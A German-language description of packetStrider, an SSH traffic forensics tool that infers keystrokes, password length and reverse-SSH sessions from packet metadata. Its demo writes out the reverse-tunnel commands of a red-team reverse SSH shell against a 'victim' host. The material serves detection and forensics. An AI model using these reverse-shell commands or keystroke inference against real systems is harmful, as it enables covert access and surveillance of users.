
Ein Netzwerkpaket-Forensik-Tool für SSH

packetStrider für SSH ist ein Paketforensik-Tool, das wertvolle Einblicke in die Natur von SSH-Verkehr bieten soll. Es beleuchtet die Ecken des SSH-Netzwerkverkehrs, in denen zuvor goldene Informationsnuggets im Dunkeln lagen.
SSH ist selbstverständlich verschlüsselt, dennoch existieren wertvolle kontextuelle Informationen im Netzwerkverkehr, die zu TTPs, Absicht, Erfolg und Ausmaß von Aktionen auf Zielsystemen beitragen können. Es kann sogar Situationen geben, in denen wertvoller Kontext auf Hosts nicht verfügbar oder gelöscht ist, sodass ein unveränderlicher und nicht veränderbarer passiver Netzwerkmitschnitt zusätzlichen forensischen Kontext liefert. „Pakete lügen nicht."
Unabhängig vom forensischen Kontext könnten Packet-Strider-Vorhersagen auch aktiv genutzt werden, z. B. um eingehende Verbindungen zu unterbinden/RST zu senden, wenn eine getunnelte Reverse-SSH-Sitzungseinleitung vorhergesagt wird – bereits bevor die Reverse-Authentifizierung angeboten wird.
Python3 wurde verwendet, und Sie benötigen die folgenden Module (YMMV bei Python2):
pip3 install pandas matplotlib pyshark
Verwendung:
python3 packetStrider-ssh.py -h
Ausgabe:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh ist ein Paketforensik-Tool für SSH. Es erstellt einen
umfangreichen Merkmalssatz aus Paketmetadaten wie SSH-Protokollnachrichteninhalt,
Richtung, Größe, Latenz und Sequenzierung. Es führt Mustervergleiche auf
diesen Merkmalen durch, unter Verwendung statistischer Analyse und gleitender
Fenster, um Sitzungseinleitung, Tastenanschläge, menschliches/Skript-Verhalten,
Passwortlänge, Verwendung von Client-Zertifikaten, Kontext zur historischen
Natur des Client/Server-Kontakts und Exfiltrations-/Infiltration-
Datenbewegungscharakteristiken in sowohl Weiterleitungs- als auch Reverse-
Sitzungen vorherzusagen.
optionale Argumente:
-h, --help zeigt diese Hilfemeldung an und beendet das Programm
-f FILE, --file FILE Zu analysierende PCAP-Datei
-n NSTREAM, --nstream NSTREAM
Nur Analyse auf Stream n durchführen
-m, --metaonly Nur Stream-Metadaten anzeigen
-k, --keystrokes Tastenanschlag-Vorhersage durchführen
-p, --predict_plot Datenbewegung und Tastenanschläge plotten
-z ZOOM, --zoom ZOOM Analyse und Plotten auf Pakete "x-y" eingrenzen/zoomen
-d DIRECTION, --direction DIRECTION
Analyse auf SSH-Richtung durchführen: "forward",
"reverse" ODER "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Verzeichnis zum Ausgeben der Plots
-w WINDOW, --window WINDOW
Größe des gleitenden Fensters, # Pakete auf jeder Seite des Fenster-Mittenpakets, Standard ist 2
-s STRIDE, --stride STRIDE
Schrittweite zwischen gleitenden Fenstern, Standard ist 1
Das PCAP "forward_reverse.pcap" stammt von einer gängigen TTP einer Reverse-SSH-Shell, einem Liebling aller Red Teams. Insbesondere wurden die folgenden Befehle verwendet, um die Fähigkeiten von Packet Strider auf einfache Weise hervorzuheben:
Weiterleitungsverbindung vom Opfer
ssh [email protected] -R 31337:localhost:22, der den lokalen Port 31337 für die spätere Reverse-SSH-Verbindung zurück zum Opfer-PC bindet. Diese Verbindung kann auf viele Arten hergestellt werden, einschließlich manuell, durch einen RCE, SSRF oder eine Form von Persistenz. Für die Zwecke dieser Demo handelt es sich um eine manuelle Standard-Weiterleitungssitzung.ls wird in der Weiterleitungssitzung eingegeben, und zwar in dieser Reihenfolge: 'l' 'w' 'w' 'Rücktaste' 'Rücktaste' 's' und dann Eingabe. Die Gesamtgröße der über das Kabel übertragenen Daten (als Ausgabe von ls) wird als Infiltration klassifiziert, da sie eingehend ist.Nun wird auf dem Rechner des Angreifers (dem Server) eine Reverse-Shell zurück zum Opfer initiiert:
ssh victim@localhost -p 31337. An diesem Punkt, der sogar vor Beginn des Authentifizierungsprozesses liegt, hat Packet Strider die Einleitung der Reverse-SSH-Sitzung identifiziert, bei Paket 72.last wird in Form von Tastenanschlägen ausgeführt: 'l' 'a' 's' 'r' 'delete' 't' 'enter'who wird in Form von 'w' 'h' 'o' 'enter' ausgeführtexit wird in Form von 'e' 'x' 'i' 't' ausgeführtDann wird schließlich die Weiterleitungssitzung geschlossen, nur um zu demonstrieren, dass die Weiterleitungs-SSH-Funktionserkennung immer noch funktioniert.
exitDer Netzwerkverkehr dieser Aktivität wird in tcpdump.pcap gespeichert, und nun ist es Zeit, Packet Strider auszuführen.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

Dieser Plot zeigt eine Zeitleiste der wichtigsten Vorhersagen (das Bild wurde hier annotiert)

Dieser Plot zeigt einige Fensterstatistiken, nützlich für tiefergehende Analysen und Experimente mit Merkmalen.

Dieser Plot zeigt ein einfaches Histogramm

Dieses Projekt wurde als persönlicher Proof of Concept erstellt, als eine Möglichkeit für mich, mit einigen Data-Science-Bibliotheken in Python zu üben. Es wurde stark inspiriert durch meine Coursera-Studien in Maschinellem Lernen und Data Science, insbesondere der Pandas-Bibliothek und der Art und Weise, wie Convolutional Neural Networks (CNN) mit gleitenden Fenstern durch Bildpixelmengen „schreiten", um bestimmte Merkmale darin zu erkennen.
Packet Strider führt im vollständigen Kapazitätsmodus eine enorme Menge an „Striding" durch. Dies kann zu erheblicher Ressourcennutzung führen, wenn das PCAP groß ist oder genauer gesagt viele Pakete enthält. Hier sind einige Tipps zur Beschleunigung, die besonders für einen ersten Durchlauf nützlich sind, z. B. nur um zu sehen, ob eine Reverse-SSH-Aktivität vorhergesagt wurde, und dann nach Bedarf zusätzliche Funktionalität hinzuzufügen.
Nutzung auf eigenes Risiko. Siehe Lizenzbedingungen.